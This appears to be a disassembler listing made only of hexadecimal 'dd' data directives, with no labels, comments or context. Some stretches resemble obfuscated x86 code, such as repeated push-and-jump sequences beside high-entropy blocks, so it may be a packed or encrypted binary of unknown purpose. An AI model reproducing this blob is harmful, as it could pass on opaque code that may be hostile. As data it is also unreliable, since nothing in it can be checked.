		dd 209BEE33h, 5B92A9D6h, 60AD1CDh, 1157ACA7h, 0B6E9C8F0h
		dd 0D67265B4h, 0C9E0A2F8h, 0B5E40511h, 3CE1F006h, 7265D4ABh
		dd 0E6043967h, 0D7EEDF27h, 0EDB51EEBh, 0BD72659Ch, 0A3E0013Dh
		dd 0FFFFFF43h, 52E4D55Ch, 0A01B8D7Bh, 98946456h, 99D59B76h
		dd 7486378Ah, 818B4433h, 0B6D01F40h, 62119D6Ah,	9E9EBFFDh
		dd 0F701BA0Ch, 6874A4A4h, 2B80DF27h, 39000000h,	47742F71h
		dd 12E44BDEh, 0ACED6D7Ah, 0EEDAA1EEh, 0EBFD6DCh, 193A0AFCh
		dd 628F1A86h, 654330F9h, 0B5088872h, 4A9Ch, 2F71D500h
		dd 0FFF105B7h, 5DC6F32Fh, 7A12E3CCh, 6D2B6CECh,	0C8E20A23h
		dd 6E9B069Ah, 65422405h, 0CD368172h, 6309FFD5h,	50C0B1F3h
		dd 16308ECBh, 0E8257596h, 5E2E20FAh, 0EADEF522h, 395A2A1Ch
		dd 1597B1B0h, 994B452h,	0D5BFD2F3h, 5F2012E4h, 41F7AB14h
		dd 33B37265h, 20EAE312h, 5B465A11h, 19C9E32Eh, 0C959B87Bh
		dd 831495B6h, 117A0E62h, 0DEC09F91h, 0CA6ABE12h, 0A4CE334Dh
		dd 642CFD73h, 2A774343h, 0E6D022FAh, 2D06h, 2F71BF00h
		dd 0C5DE4774h, 0E77A0D48h, 996D5F76h, 168CD7A7h, 946ABD3Ch
		dd 7E6D814h, 6ABD3C97h,	0DEA3F711h, 0E6D042AEh,	10ABAh
		dd 0E4D57300h, 54906655h, 0DE9D562h, 0CB5D8E1Bh, 0C80118D9h
		dd 7E98453Eh, 6BBD2E5Dh, 47B2B75Ch, 36A77265h, 216CB7E4h
		dd 653EEAB8h, 0F540C072h, 72653EADh, 175C7DFDh,	0A7100BC4h
		dd 72653DFBh, 1F32FAFh,	0EC199010h, 0D4CE883h, 8E27417Ah
		dd 5782B23h, 2F6CBCDDh,	2D69BDh, 0FE564CB5h, 0D4546ABCh
		dd 0D0E76EB3h, 86904E1Dh, 6788C494h, 0A8D5CCD4h, 6FD85591h
		dd 6ABCFE33h, 0C9BBF777h, 3CCE00F9h, 0D94FB81Bh, 0CA7267AEh
		dd 2E5A657Fh, 31D9CCFFh, 12C2BCE6h, 4D6EEE63h, 3F0EC0FDh
		dd 0BB8B7D89h, 0C4BD8D7Fh, 4010020Ch, 0EC0D704h, 4C7D0AFCh
		dd 0FA5D7EBAh, 0C1BE7E3h, 0DBF10DB9h, 2DB8A783h, 0C4E9C45Ch
		dd 57000001h, 2C7F8E68h, 65968B2h, 0E23544D2h, 0B90C1BE5h
		dd 0A1E2F10Dh, 39C50142h, 11E5D72Ah, 0EA3CAF02h, 0C55788DBh
		dd 30997AB6h, 7A12F972h, 0D5F69D38h, 0ABFE0DE9h, 1A152832h
		dd 6E2211BAh, 71EC2332h, 0FC47742Fh, 65420F93h,	0F802BC72h
		dd 0DA3D5EDEh, 0F04A788Fh, 0CC8B12E4h, 0CCED2947h, 0D4A584Bh
		dd 0E2D4547Ah, 0BD3E9B03h, 0A7F30D6Ah, 0D040AADAh, 0ADB6E6h
		dd 0D56F0000h, 91CF52E4h, 569CF174h, 2F9B281Ah,	0F25BA6D3h
		dd 7265FFB0h, 48817AFAh, 0DBFCCCBEh, 495D4B3h, 79907266h
		dd 6594B541h, 4093A274h, 3A0CC08Fh, 513B2C94h, 3874B042h
		dd 604B5546h, 68A1CA33h, 1B9B7A0Dh, 7D6E850Ch, 0A9F78AABh
		dd 708AD502h, 1F999BF2h, 0DC5D7E0Ch, 7268B5EDh,	475E8B0Bh
		dd 1D707F9Bh, 753F55A1h, 0B62DBB3Eh, 0D9431Eh, 7D6C0000h
		dd 894194A3h, 0A51B6E7Dh, 0CAF74A59h, 10CE2130h, 2DB6F706h
		dd 3D4CD614h, 1524F2EAh, 0EEFD0BC2h, 0C9D8229Bh, 5F43AC8Dh
		dd 4B7A12FAh, 0E9D509B0h, 32ABFE0Dh, 0A1A2D9E8h, 798D3F56h
		dd 366CB787h, 74726542h, 2BA4D3F4h, 69B4E1h, 726542A2h
		dd 3F678808h, 0E0EF39B2h, 0FDA50E59h, 9A726541h, 65427131h
		dd 9FB93972h, 1ECFFE1Fh, 31AAFD0Ch, 0AC16F5E7h,	5FA044E4h
		dd 1BA89A6Ch, 117498A2h, 0C5E0601Bh, 66079789h,	79F503B3h
		dd 0B812645Ch, 2C7E16EBh, 0C8D7219Ah, 0C0B24475h, 7A6CB633h
		dd 90267416h, 86A0CD5Fh, 1731CD4h, 0FA3F608Fh, 0B12736A7h
		dd 5C372965h, 1Bh, 0DC87A195h, 0BD4784B5h, 0F6FFFBCBh
		dd 13325301h, 168CF540h, 9472660Ah, 0D5E0F314h,	8D1A0CEAh
		dd 4BD8CA5Ch, 7948690h,	0C24F41D5h, 7B08FA04h, 34C1B34Fh
		dd 0EE7B6DB7h, 0AD3A2CFAh, 79F7E93Dh, 81595451h, 4C1h
		dd 4E98300h, 5C240C87h,	5E08950h, 4, 42Dh, 24048700h, 242C895Ch
		dd 5E08950h, 4,	42Dh, 24048700h, 243C895Ch, 4111B850h
		dd 40401FAEh, 0BC2CA805h, 27BA5272h, 0C15A9867h, 0EAD104EAh
		dd 0E2CA814Ah, 0D105413Bh, 0C3C281EAh, 3152D625h, 0D0F75AD0h
		dd 58F1DA05h, 58C589CCh, 64B668h, 24248900h, 4240483h
		dd 8BB535Fh, 81000000h,	2F5DC4EBh, 81FB0178h, 2F5DC4C3h
		dd 5B2B8978h, 52243C8Bh, 0C281E289h, 4,	4C281h,	14870000h
		dd 2C8B5C24h, 0E0895024h, 405h,	4C08300h, 5C240487h, 0FB8FB8E9h
		dd 4941E6FFh, 0BE1186DDh, 81AE0AC0h, 979706Ah, 0ADB967B8h
		dd 0FFC50307h, 0F0074DE0h, 9A797970h, 56080C01h, 0F4295Ch
		dd 791A0E31h, 9987247Eh, 5E803h, 7F750000h, 8B18BA9Eh
		dd 81F558D9h, 6C29C0h, 66C93300h, 24DCE381h, 810134FFh
		dd 0E0487FD7h, 8B665A05h, 27EA81DAh, 0BF1B510Eh, 687DD759h
		dd 8BC5F281h, 14E81BD2h, 78000000h, 9BF55D09h, 0CB9D87C5h
		dd 0FA201C93h, 0A12BCDE2h, 0FC923C71h, 2BEA815Fh, 0F086043h
		dd 88Ah, 0F3815700h, 4615448h, 814895Eh, 6429BE66h
		dd 19AAE981h, 830F542Dh, 20h, 1A800Fh, 14E80000h, 62000000h
		dd 0E90A2D41h, 0D5AC1F96h, 0B8ACD438h, 0F9FEC317h, 5BBD3148h
		dd 19A6C181h, 5B52542Dh, 9480F981h, 850FFFFFh, 0FFFFFF6Ch
		dd 8DDE8B66h, 0ADBBE08Dh, 0D9BF0F07h, 17318D89h, 6A07A8h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 0BD0167C3h, 7A81CA1h, 0EB5B589h, 85C707A8h, 7A80A59h
		dd 5CC0h, 0B830Fh, 880F0000h, 5, 0FEF68166h, 3985C7ADh
		dd 7A809h, 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 0DB41C357h, 89C8E699h,	0A82A599Dh
		dd 0FDB5FF07h, 6A07A805h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 8B21C357h, 9453B866h
		dd 1A9995FFh, 6A07A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 0E96E9BC3h, 0B860D992h, 6A99EBh
		dd 0D2195FFh, 0C08B07A8h, 939D5BEBh, 6856116Eh,	0BBD1F010h
		dd 122004BDh, 1685835Bh, 567FFDDDh, 204016FEh, 8736EA7Eh
		dd 0E7604EB4h, 75612EEBh, 9A5281C6h, 27B17351h,	8778FDACh
		dd 2E975656h, 0D2126155h, 43B1B73Bh, 1077BC03h,	4C84F789h
		dd 9269006Dh, 1C343659h, 7025E0F3h, 39AFA8EAh, 0E241B1A5h
		dd 5E842h, 0E1B40000h, 0E9015E0Dh, 13h,	4DE5F59Fh, 0B6927433h
		dd 1930BB0Eh, 7C8CCCA3h, 5B997AC6h, 8058D8Bh, 0C38107A8h
		dd 6E58h, 1B7368h, 958D8B00h, 5F07A828h, 0EEDD8051h, 0F33FF5Eh
		dd 8958CABFh, 0A80A7DBDh, 0AFC08107h, 0F7C71A3h, 0C081F0B7h
		dd 482BCE28h, 23819D29h, 0F08107A8h, 5CB119A8h,	96C68166h
		dd 0E903890Bh, 0Ch, 7CD12B9Dh, 0D96D8755h, 1C06EC09h, 0F03EB83h
		dd 8B4BF7B7h, 0A800258Dh, 850F4F07h, 0FFFFFFADh, 8D8DF08Bh
		dd 7ADBD6Dh, 0D5C38166h, 318D8908h, 3307A817h, 0A8303195h
		dd 0ED8D8907h, 0C707A82Fh, 0A80A5985h, 597007h,	0D8D8900h
		dd 0C707A805h, 0A8093985h, 7, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 55D5A3B0h
		dd 74D98E66h, 9D8BAAB0h, 7A80471h, 1559B5FFh, 6A07A8h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0FD05AC3h, 95FFDABFh, 7A81A99h, 6AD2BF0Fh, 2195FF00h
		dd 8B07A80Dh, 283FEBC0h, 0AC05D86Eh, 0C4B4955Bh, 0A51B3C2h
		dd 5D898605h, 26B7CA75h, 49099CB1h, 0AC047915h,	49B13DC8h
		dd 0F2B45B6Dh, 0B67DBC91h, 0BFDC4607h, 0AE22DB54h, 108D6829h
		dd 0C19596EFh, 0F5B6EB2Fh, 28E95246h, 1E000000h, 76D932h
		dd 8 dup(0)
		dd 0E9000000h, 5ABh, 0F2433E4h,	4C617626h, 8DA2B563h, 0CCE1F6A4h
		dd 122730E3h, 3DE0C504h, 7D1C051Ah, 0BF5C455Ah,	0F89A8398h
		dd 4BEACADFh, 0ABB3CF05h, 8D3BD5CBh, 7A072ABh, 0AA774255h
		dd 0CC8E7189h, 0D08300CBh, 9C9B2C7h, 7A9BBC5Eh,	9780548Dh
		dd 0AE7FFCCh, 0A0D61C71h, 0A6D35970h, 0F2A4879Fh, 0FF9D1AE5h
		dd 45667128h, 0E47267Ah, 1A604D4Ah, 0D35970E4h,	0B0CBE3EAh
		dd 0F3E4B645h, 2028E406h, 0FBD99AF0h, 6D3BCE3h,	4613FC11h
		dd 692B6451h, 0BED6A36Eh, 0D6B564E1h, 59685A90h, 0EEA960D3h
		dd 0DCA7C8E9h, 0BA49B461h, 0E0E5FA1Dh, 88CDC0BEh, 465ED9FDh
		dd 27F4B363h, 968ECE97h, 0BEDF527Eh, 0F48D29Dh,	0E9D358E1h
		dd 9DD3196Eh, 0A3D358E1h, 0FE69849Ch, 0A88E1852h, 93E11Bh
		dd 0C7DF0000h, 0AB350017h, 0D3597073h, 0A04BB64Dh, 0D2A3B467h
		dd 0FDFD1502h, 1BA801B5h, 68Ch,	60387100h, 0C7795F77h
		dd 0C0150215h, 5970447Ah, 2B434AD3h, 4803D14Eh,	5970CC02h
		dd 0FACBD2D3h, 4F1A3B5Ch, 0B9DE7DB6h, 7A6B88EEh, 8ADA733h
		dd 2EECCFE7h, 0EDB8DF79h, 376B6F87h, 0F91ACEB9h, 0BEB90DD8h
		dd 0FE53A853h, 595D82B8h, 0A38188D3h, 0D3595D6Dh, 0C0B26C73h
		dd 90B088DEh, 4616F911h, 6E2B6451h, 252A5169h, 62529A03h
		dd 2941B7E0h, 6E839446h, 5314C782h, 4A80C685h, 50D35970h
		dd 905D2849h, 0E90BA46Fh, 78AB31E3h, 44F54028h,	42F69C56h
		dd 0B85C3F57h, 0DA79B29Fh, 3C8A5BDh, 356BB106h,	3BD358D1h
		dd 96011C34h, 0F0E7B2EBh, 5D405825h, 9B8499BEh,	9411DCFBh
		dd 0C308D3C4h, 0AF933FAAh, 121BA760h, 0CBh, 52D5F7h, 9D0D3C1Ah
		dd 14C79F85h, 669F3803h, 9D6A1B6h, 814A0EF1h, 5970053Bh
		dd 82540BD3h, 0F1A37495h, 0B6D8C5E6h, 0E6DB9513h, 0DA1BAE0Eh
		dd 5442F3E3h, 0EA3E1B33h, 26F584EFh, 0F5171C31h, 67F81030h
		dd 0CDB0C842h, 0C13E090Eh, 0F2370215h, 54BA0F5h, 0D358D1CFh
		dd 0BAF0CED5h, 0C0D358D1h, 5086CCB9h, 56D358D1h, 0B11C374Fh
		dd 0C0BCD06h, 60CEF4F4h, 57901BA7h, 0F202FB83h,	0C0055FCAh
		dd 646B879Fh, 69000000h, 7E6489ABh, 343BD32Ch, 7D9A391Ch
		dd 0C7406E90h, 0DEE17D08h, 0AF6CE9C6h, 0BD60DDA8h, 602B2CEAh
		dd 2AA77293h, 22589E6Dh, 28D35970h, 0B8350021h,	4E49F1E6h
		dd 566704E3h, 0EEB95CEBh, 905D282Fh, 0C76E5A6Fh, 0AD370215h
		dd 0D3597074h, 59B1D34Eh, 18252178h, 0E8536E86h, 0A8C8763Ch
		dd 1CB1Bh, 0ABC90000h, 5A00A772h, 0EB511C3Dh, 0F29DB1D5h
		dd 1A3253FBh, 89766137h, 8AB8EE34h, 0B7BED358h,	0F029C29Fh
		dd 0E71D6328h, 0EDD3588Ah, 2DFAC5E6h, 0C7603215h, 6F3C0710h
		dd 5B08834Eh, 4F0C45F0h, 8B4D3048h, 1D72778Ch, 588BA1D7h
		dd 88A0A7D3h, 0B6A373E4h, 9F8F70h, 7A1D56DBh, 7E85455Dh
		dd 5FF81AB3h, 78DC272Ah, 9042253Dh, 0C9897287h,	417903CEh
		dd 58DB0107h, 8D4DDC47h, 0CA8C758Ah, 306902CDh,	6E51696Eh
		dd 1BE0ABACh, 56089702h, 6C262C41h, 0B5E3F068h,	111h, 0C4C6789Ah
		dd 897F288Eh, 72AB8B71h, 1DEAB5A2h, 20F46105h, 3A5DFA33h
		dd 0E8DD2322h, 0EEDB019Dh, 61831CE7h, 823C8D74h, 0E8CBE30Ah
		dd 9BD78836h, 0AA41499Fh, 0CB8B7489h, 0D28401CCh, 0D87DFAC5h
		dd 0A377F4BFh, 0DD52E9B4h, 617A9372h, 0A0B767F6h, 0B8DF7AB3h
		dd 0ACAB70EDh, 0DBF314E1h, 0A276AFB4h, 0D59D9DB5h, 2CE3FFA1h
		dd 3Ch,	0C115062Ah, 0DEF99BD4h,	2B81C7C6h, 31535970h, 9FD55F2Ah
		dd 68535970h, 0DB3888F3h, 6AC006F3h, 70D35970h,	7021579Dh
		dd 5427D359h, 5970D80Eh, 0B6D7DED3h, 6A3C8095h,	7E000000h
		dd 0D8C51106h, 18C3D92h, 0D9E204DBh, 8FD1A162h,	0F8C3D482h
		dd 32F20A2Bh, 8EC7602Bh, 0CDB0C8CFh, 0E41D0A0Dh, 0D8552037h
		dd 0D9F11205h, 7509C9B2h, 56E91221h, 0CB96B772h, 2020641h
		dd 0A10C1DDBh, 42574012h, 0F7A7BF98h, 274815E0h, 0C070F43Ah
		dd 6F76E2AFh, 607727A4h, 26D1A95h, 8471A5B2h, 5D7DBA3Eh
		dd 0A4B9C0EAh, 0C51106B8h, 0DCFB9FD8h, 2D2C4411h, 72E63E7h
		dd 24F12ADBh, 839B6833h, 58F1BCC3h, 465E791Fh, 0B7A4B363h
		dd 0B9374062h, 0EFF18EFFh, 680DB11h, 0C2DAE1DBh, 0F7E0B29Bh
		dd 0B87CE80Ah, 9E696E2Dh, 0C21E17D1h, 8A677Fh, 4C7C47DFh
		dd 360116C2h, 31FC1BB9h, 9E8536Ch, 6CFB6661h, 0AF98ADAAh
		dd 0A01DE8EFh, 9712DDFAh, 2EF07FEAh, 0ED0F1429h, 0B0E05618h
		dd 0DE241181h, 4C7C10A8h, 0AC8FA7AEh, 7E993DEAh, 0EF944DB3h
		dd 5024EF5Ch, 9FB85E2Fh, 1BE607D4h, 1443h, 63336C00h, 0BDCA974h
		dd 0B27F4A4Dh, 25DCB49Ah, 11292EECh, 116C72Bh, 0FE19B936h
		dd 0F6E1B633h, 0ECEBAE2Bh, 0E6F1A421h, 0D8FF9E1Bh, 0CDCA900Dh
		dd 0C4D38502h, 0BFD87CF9h, 89513CF4h, 4C181E1h,	83000000h
		dd 0C3304E9h, 240C3124h, 5C240C33h, 2C8668h, 243C8900h
		dd 5E08950h, 4,	8704E883h, 895C2404h, 0EC83242Ch, 24348904h
		dd 0ADBDE3BEh, 5EF78907h, 242C8B54h, 5104C483h,	8B9h, 89E90100h
		dd 240C8B39h, 4C481h, 2C8B0000h, 0E7895724h, 4C781h, 0C7830000h
		dd 243C8704h, 2434FF5Ch, 4C4835Fh, 0FABC2EE9h, 40FC2DFFh
		dd 0E8EA3096h, 0B85C9807h, 7ADC30Dh, 0E0FFC503h, 53F791F1h
		dd 789B0E62h, 64249C83h, 322AA042h, 185C45FAh, 225D6B8Ch
		dd 7B2D6F32h, 2D1F6CE3h, 60E67674h, 42EF5742h, 0E310AB5h
		dd 2B387A42h, 3D23932Ch, 7BA182BFh, 2405F2E4h, 7EA696F3h
		dd 2F5C9AA8h, 4DDF2F1Eh, 2CDE8C5Fh, 594F6A9Ch, 4CD9F27Fh
		dd 6D65A9FFh, 2569F49h,	77E0773h, 41F41BA9h, 2F8A60F4h
		dd 7CC60693h, 7F478597h, 4CE9h,	8B141400h, 2Ah,	0C51C5700h
		dd 6148434Ah, 0A5ADF936h, 528C88A7h, 0B7FB75h, 0ADF99CBEh
		dd 89937EE5h, 0F4C7009Dh, 6063921Dh, 0DE19h, 7 dup(0)
		dd 0ACBE900h, 46680000h, 0E907ADC5h, 0FFFABB4Bh, 0ADC67068h
		dd 0BB41E907h, 7768FFFAh, 0E907ADC7h, 0FFFABB37h, 0ADC83268h
		dd 0BB2DE907h, 0DB68FFFAh, 0E907ADC8h, 0FFFABB23h, 0ADC9BD68h
		dd 0BB19E907h, 6E68FFFAh, 0E907ADCAh, 0FFFABB0Fh, 0ADCC7568h
		dd 0BB05E907h, 6468FFFAh, 0E907ADCDh, 0FFFABAFBh, 33484F10h
		dd 788D8A4Ah, 0B9CEC98Fh, 0F80D0AD0h, 364B4C0Fh, 5104A128h
		dd 91483146h, 0D3887186h, 14C6AFC4h, 6F0EEE03h,	0ABABF329h
		dd 0B15FF9CBh, 0D8C51106h, 7348992h, 9B888FDBh,	92A7B062h
		dd 0DC22E9A9h, 0DB0734A6h, 33F1276Dh, 0F0F7DB07h, 4F1A3B42h
		dd 0B9DE7DB6h, 650921EEh, 0F13724F0h, 0E2B4F8CBh, 0A4DDCAD1h
		dd 0E7D0E5F2h, 17552037h, 0C7E9D63Eh, 0B58F490h, 55546C70h
		dd 5D2F8E0Fh, 958D94EAh, 0E44A9125h, 1E673FD4h,	81000009h
		dd 0C9B2C7D0h, 0EF70C0Bh, 4F384D4Ah, 8E778C8Bh,	0A5B3C8CFh
		dd 0C5D28124h, 710C7B0h, 4B4C09F2h, 8A8D4D36h, 0B0F69575h
		dd 0CBABAB7Ah, 0C738E680h, 0B8350017h, 32DCF1E6h, 2B235825h
		dd 7A2519EBh, 65336C59h, 155B5A72h, 0DB00DCD4h,	0ADE6D3DAh
		dd 5724EFE8h, 9ED8623Fh, 0B9DB00DCh, 0C18935A0h, 18E3FF69h
		dd 4Ch,	0A472AB16h, 31BE8B3h, 0A86EF65Fh, 6A87F5AFh, 14E2B34Fh
		dd 78B106F3h, 0AE9EB6A1h, 0DB007779h, 10FDDF7Fh, 80811FC5h
		dd 0D00A945Fh, 0EBDB0110h, 67BC67D2h, 10FEB21h,	0D2EAF1DBh
		dd 0F06198D2h, 96457EE3h, 0AF4D6981h, 4B000000h, 350017C7h
		dd 0A1B6639Ch, 0EF109D6h, 7D484Fh, 0D56E395Eh, 70043A80h
		dd 30AD359h, 415608EBh,	73F9362Ch, 87C0D359h, 0C9ACC4D3h
		dd 10F90E09h, 407E494Eh, 0CC12FFD7h, 0DB019A17h, 5701161Dh
		dd 0D42916FEh, 9A03397Fh, 209DB01h, 4AE3FAEAh, 0E2E9E2ACh
		dd 3219BCF5h, 0AC4AB6ECh, 0E4B5BCE2h, 89562136h, 0AB6A5368h
		dd 0F64CB4ACh, 0F68BFC1Bh, 7F41Eh, 91865700h, 0D6C1937Ch
		dd 1700D8C1h, 5A7D1902h, 9EB95C45h, 574E7B89h, 957E9384h
		dd 0D7C0D5C2h, 17001502h, 5B3B5047h, 0AA4076BCh, 0AC46CBABh
		dd 314C7FEh, 425505EEh,	1106412Dh, 5D92D8C5h, 63DB0176h
		dd 9C3BECACh, 4C395A7Bh, 47C3C2Ah, 0BCD49F73h, 0B32446DFh
		dd 0A0B76461h, 164E08D5h, 6F5F774Eh, 0DB01DC35h, 87524518h
		dd 0F99D4A0Ah, 254613DEh, 0A00B065Ah, 0A40F28C1h, 0FF95B2F8h
		dd 0DD87E3h, 0C7850000h, 0F8806717h, 8E1A2D48h,	0E709A26Dh
		dd 0B125435Dh, 0ADF579CAh, 0BFF69C56h, 0B95C3F57h, 0C49D39Eh
		dd 0EFD35952h, 0E63B282Fh, 59526AA0h, 7C6970D3h, 59520036h
		dd 0E7FF06D3h, 1007D7C0h, 0C60E0745h, 77DE93D9h, 83A5DB01h
		dd 3EDBF62Ah, 80F55F19h, 96ABCEBDh, 0B8D94278h,	0C4D9E0A0h
		dd 0ECD93D1Ah, 0AC7E7EA6h, 907D84E2h, 33E38457h, 6B8C5924h
		dd 0A9AE6D56h, 1A2255B1h, 27FF94FCh, 6EDh, 73888F50h, 0B8CDCA8Ah
		dd 0F90E09CFh, 384D4A10h, 768B8C4Fh, 91446168h,	0D1887186h
		dd 13C8B1C6h, 5406EF04h, 0AF4E2E43h, 0ABA93369h, 0F19F39CBh
		dd 0B4A372ABh, 21041CE9h, 67506572h, 91B3A0B7h,	0B58F290h
		dd 0F2A9D3E4h, 7A6C500Ah, 3E5F781Dh, 9D50B51h, 0D4DBD359h
		dd 0C7A995BCh, 8B8C5017h, 0ABE127C0h, 0B1D35970h, 9D6889AAh
		dd 44597E20h, 5970144Eh, 292136D3h, 5970ADE3h, 8BACB3D3h
		dd 0A6B1659Eh, 0F7F60EDBh, 7349EB1h, 0B09DA4DBh, 9BB0A777h
		dd 2CF7E0B2h, 0C0AD69EEh, 0AF5DDD7Ah, 0AC6BA4E2h, 6D385FFBh
		dd 0E7B47FA0h, 10080FCFh, 0FC1CC38Ch, 32CEA63Bh, 95000006h
		dd 0D5BED3C4h, 12FB1007h, 533C5146h, 927B9087h,	0B1BFD4C3h
		dd 0C9CE8D18h, 0B0CCBB4h, 4F480DF6h, 9681513Ah,	0BC02A181h
		dd 0CBABA886h, 0C744F28Ch, 0B8350017h, 6126F1E6h, 8C4EDD48h
		dd 3A70768Bh, 0FF1BA801h, 0Ch, 1726CFDh, 5C950000h, 9C829ABDh
		dd 597080BAh, 61B5A2D3h, 34102E74h, 0F16DB07h, 2E29E922h
		dd 43540841h, 0C6FF042Bh, 6C390413h, 0B6A17154h, 6CA8ADEBh
		dd 80D52A7Fh, 734043Ah,	25030ADBh, 0DB0733EFh, 621007D2h
		dd 0CDEEE9ABh, 5E28C5B5h, 272EE2AFh, 1CC2E32Fh,	31099EFCh
		dd 589h, 172C2BECh, 54696E2Eh, 95AAAD6Bh, 0D4E9EEACh, 1A2F28EBh
		dd 35E8BD0Ch, 75240D22h, 0B7644D62h, 0F0A28BA0h, 53F2D2E7h
		dd 0ABA8D70Dh, 9543DDCBh, 130017C7h, 7B4DB3F1h,	152DB5CCh
		dd 0FC1BBB38h, 3E74BA0Fh, 44D35944h, 8348253Dh,	8D8A4D86h
		dd 44EF5A75h, 30484F0Bh, 758A8D4Dh, 0A82D3B6Fh,	11FE1Bh
		dd 6CFC0000h, 0ACh, 0C4FA4095h,	0CAD35970h, 6C5ABC3h, 83D8C511h
		dd 70B2E82Eh, 0B1B8D359h, 34A0A999h, 2E67DB07h,	93536B6Ch
		dd 0B4669F8Ch, 0F394B6A3h, 0B577BBAAh, 9499C0D8h, 42DF7A72h
		dd 172FB1CEh, 0AA756234h, 3E2BEB6Ch, 0B504D2F8h, 0BF05D8E2h
		dd 0E2B50489h, 7A67888Fh, 0D69141h, 0F8E1F617h,	28663126h
		dd 0B4FAE72Fh, 0EA5D3533h, 0F23A3239h, 9DE44AEBh, 4A73008h
		dd 490A0000h, 8C50394Eh, 0CB8D768Bh, 8CEB7CCh, 4211FA0Fh
		dd 97324055h, 33484F0Eh, 73888F4Ah, 0B5CACD8Ah,	0F80D0ACCh
		dd 0FD337918h, 3CBABA6h, 126CBB69h, 0AE000001h,	0D8C51106h
		dd 8C8B4A83h, 347B8474h, 7A81DB07h, 0CB16388Dh,	0C5199384h
		dd 0DF7F627Ah, 0C292CBB8h, 46677025h, 0E002072Eh, 5831A569h
		dd 0BEA1B9E9h, 0F230FB1Ch, 7EC4B165h, 0E2B43C58h, 2631E61Fh
		dd 13D48E5Bh, 6646DB17h, 0C8CF8FA7h, 0E7F0A2DBh, 7E29E9D2h
		dd 0D39EBFD8h, 0DF7A183Ah, 3836D742h, 8B9B7C20h, 0BBA8C9CEh
		dd 5BF5F475h, 0FBF3FAEAh, 0E44BAA5Bh, 0F6F9D166h, 59000003h
		dd 0A18A9FB8h, 0E6CFE4F3h, 27102532h, 664F6473h, 7D8BA0B7h
		dd 9DBA594Ch, 0DFF89F88h, 2334E1CAh, 6275250Eh,	88CE6D4Dh
		dd 0CBABA652h, 0C710BE58h, 0B8350017h, 6126F1E6h, 8C4EDD48h
		dd 3A70768Bh, 0FF1BA801h, 4Dh, 0EAEDABE4h, 905B7C19h, 6C5ABC3h
		dd 92D8C511h, 0DB01BEA5h, 7EB7A4ABh, 0B2A8BDDAh, 0DB01BE79h
		dd 0D5311E40h, 644A80C6h, 4950DB02h, 1DDA08Fh, 435406E9h
		dd 587F1D56h, 68301940h, 0E90BA46Fh, 48E3E61Bh,	5391A99Dh
		dd 361h, 512C795h, 0FA1DBD3Ah, 1601D40Dh, 2CEED7FEh, 0EDB8DF7Bh
		dd 0B734FF20h, 0CA03F0E7h, 0CEF50D0Ah, 0F6E33324h, 2EF91EBDh
		dd 70194F95h, 181FD359h, 9AE0DFF7h, 0DB019859h,	4E6CFE20h
		dd 8964C134h, 904B1083h, 0B8D0F10Fh, 0A9DF25F8h, 0AFDB019Eh
		dd 128D4A0Fh, 45664D05h, 95CF5924h, 0B0DB01DBh,	48812C97h
		dd 3D73B992h, 43DB01DBh, 3031B3Ch, 0E3F0684Fh, 4792h, 11069000h
		dd 5D92D8C5h, 24DB0176h, 5D282FEBh, 0E5B87890h,	176699Fh
		dd 47686FDBh, 3EC1E37Ch, 430006EBh, 1F594961h, 3ADB01D1h
		dd 400AB621h, 99E3FF9Eh, 0FBh, 8295457Eh, 0A2D81EB7h, 0A8DB01C5h
		dd 826880A1h, 0DA1056ABh, 0A1D35970h, 5970255Bh, 76242BD3h
		dd 0A274576Fh, 0CD8FC8B5h, 7082B8FEh, 8188D359h, 0D26B4860h
		dd 0C90FFC99h, 0D3597093h, 0A6719299h, 3FDEC1D9h, 9DD62B18h
		dd 0C8FEDCFBh, 0CED35970h, 4907812Eh, 2E4F8DEEh, 1ABC3916h
		dd 0E5B532FDh, 0AAE7DDF2h, 8DD35920h, 0CCB5CACDh, 4420D0Ah
		dd 7BB1F713h, 81D35920h, 266C597Ah, 0DB012EB9h,	9EA3B8BFh
		dd 0B8A5B265h, 12E3C72h, 233B42DBh, 513E967Fh, 8C574018h
		dd 573A05BFh, 0AFDD4E02h, 0A2529897h
		dd 0A8E2AC1Ch, 0D87BB4A1h, 834E490Fh, 978095B6h, 0B1DBD3C4h
		dd 30FC1B84h, 1EFC39Bh,	81520000h, 0C4988196h, 3D5BED3h
		dd 4016FF14h, 0BA594257h, 4F7A889Dh, 7B908756h,	0BBD0C792h
		dd 0FD1205D2h, 40554214h, 457BC160h, 4BCBABA4h,	14C703B1h
		dd 5505EE03h, 0AB412D42h, 70DA1056h, 0D9E0D359h, 0DC381DC1h
		dd 0B2619AEFh, 689D8DA5h, 6EDB0176h, 93417A67h,	9C3CB984h
		dd 65425A7Bh, 176A1DBh,	0C6D184DBh, 0BFD87EFBh,	61CC79F4h
		dd 0CAECE982h, 79DC4814h, 0A7C2DA86h, 5ADA903Ch, 0B31FE3FFh
		dd 1D000000h, 130017C7h, 1193EDAh, 0E3F4A724h, 74518E18h
		dd 6234D359h, 0A9668875h, 96DB718Fh, 14FD243Ch,	4C8A5542h
		dd 0E51E0BCBh, 8D5A2532h, 25245AA0h, 232AD35Ah,	59C60C0Bh
		dd 5FDB0234h, 0BC994358h, 16256B58h, 1CE2ACE1h,	2BEF2815h
		dd 0DC15142Ch, 4091E39h, 3D080FCBh, 0A6755870h,	5F91B9B1h
		dd 0AB40FC1Ah, 100D3h, 0A5B26300h, 0E2F5A790h, 2334E4CDh
		dd 6671250Eh, 0A2B56851h, 5B4A7F8Dh, 0A18A9FB8h, 0E3CCE1F6h
		dd 230C2136h, 6F4F6473h, 0A3548AD0h, 0C05ACBABh, 0A372AB12h
		dd 706CA2E8h, 6B72D359h, 0BCDB794Ah, 512C1A4h, 405707F0h
		dd 72AB3F2Bh, 475002A5h, 0C38EAF7Ch, 203CF6h, 72FC11E8h
		dd 0B0A7775Ah, 0A1B668E5h, 0A175E28Ch, 4E406EB4h, 8F46DB06h
		dd 0E1ACCDCAh, 4A4D0F48h, 888F4F32h, 0A2B5629Bh, 0D87A638Ah
